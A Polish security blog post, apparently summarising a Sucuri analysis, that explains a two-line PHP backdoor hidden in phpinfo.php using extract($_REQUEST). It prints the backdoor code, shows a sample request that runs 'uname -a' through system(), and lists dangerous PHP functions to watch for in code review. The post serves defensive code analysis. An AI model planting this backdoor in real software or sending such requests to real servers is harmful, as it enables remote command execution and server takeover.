Ciekawy backdoor PHP (funkcja extract)

Poraz kolejny dzięki analizie Securi teamu dowiadujemy się o ciekawym backdorze napisanym w PHP [1]. W tym przypadku backdoor został ukryty w pliku phpinfo.php:

@extract ($_REQUEST);

@die ($ctime($atime));

Jak widać na pierwszy rzut oka nie ma tutaj nic podejrzanego. Sprawdźmy jednak definicję funkcji extract [2]:

int extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] )

Import variables from an array into the current symbol table.

Checks each key to see whether it has a valid variable name. It also checks for collisions with existing variables in the symbol table.

W skrócie ujmując funkcja ta tworzy zmienne na podstawie tablicy $array (sprawdzając czy klucze zawarte w tablicy posiadają poprawne nazwy zmiennych i nie powodują kolizji).

Tablica $_REQUEST zawiera tablice $_GET i $_POST. Dzięki temu atakujący może przesłać swoje zmienne $ctime i $atime za pomocą jednej z metod i dzięki temu wywołać dowolną funkcję z dowolnym argumentem, np:

example.com/phpinfo.php?ctime=system&atime=uname -a

nice! 😉

Na jakie inne PRZYKŁADOWE funkcje powinniśmy zwrócić uwagę podczas analizy kodu PHP:

  • eval – wykonanie przekazanego kodu PHP [3]
  • exec – wykonanie określonej komendy [4]
  • system – wykonanie zewnętrznego programu i wyświetlenie jego wyjścia [5]
  • shell_exec – wykonanie komendy powłoki i zwrócenie jej wyjścia [6]
  • passthru – podobna do funkcji exec, stosowana w przypadku gdy uruchomiony program zwraca dane binarne [7]
  • assert – w połączeniu z assert_options(ASSERT_CALLBACK, …) [8]
  • preg_replace – z użyciem /e/ (zabronione od wersji PHP 5.5.0 [9])

Linki:

  1. http://blog.sucuri.net/2014/02/php-backdoors-hidden-with-clever-use-of-extract-function.html
  2. http://uk3.php.net/extract
  3. http://www.php.net/manual/pl/function.eval.php
  4. http://www.php.net/manual/pl/function.exec.php
  5. http://www.php.net/manual/pl/function.system.php
  6. http://www.php.net/manual/pl/function.shell-exec.php
  7. http://www.php.net/manual/pl/function.passthru.php
  8. http://www.php.net/manual/pl/function.assert.php
  9. http://uk3.php.net/manual/en/reference.pcre.pattern.modifiers.php#reference.pcre.pattern.modifiers.eval
Advertisements
Otagowane , , ,

Skomentuj

Wprowadź swoje dane lub kliknij jedną z tych ikon, aby się zalogować:

Logo WordPress.com

Komentujesz korzystając z konta WordPress.com. Log Out / Zmień )

Zdjęcie z Twittera

Komentujesz korzystając z konta Twitter. Log Out / Zmień )

Facebook photo

Komentujesz korzystając z konta Facebook. Log Out / Zmień )

Google+ photo

Komentujesz korzystając z konta Google+. Log Out / Zmień )

Connecting to %s

%d blogerów lubi to: